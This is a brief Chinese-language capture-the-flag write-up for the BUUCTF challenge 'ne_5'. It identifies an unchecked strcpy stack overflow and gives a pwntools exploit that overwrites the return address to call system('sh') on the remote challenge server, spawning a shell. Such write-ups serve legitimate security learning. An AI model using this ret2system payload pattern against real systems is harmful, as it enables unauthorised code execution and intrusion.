下载 checksec
32位 用IDA32打开
查看main函数
按1可以存入字符串到src 按4到Getflag函数 将src复制到dest里 但是未对长度作出限制 所以是关于strcpy的栈溢出漏洞
找到system函数及binsh(sh也有同样效果)写exp:
from pwn import *
#p = process('./ne_5')
p = remote("node5.buuoj.cn", 25653)
sh = 0x80482ea
sys_addr = 0x80484D0
#使用ROPgadget找
p.sendlineafter("password:", b'administrator')
p.sendlineafter(b'0.Exit\n:', b'1')
payload = b'a' * (0x48 + 4) + p32(sys_addr) +b'aaaa' + p32(sh)
#使用system函数传参 同时用任意数据填充4个字节的返回地址
p.sendlineafter(b'log info:', payload)
p.sendlineafter(b'0.Exit\n:', b'4')
p.interactive()
运行,得到flag: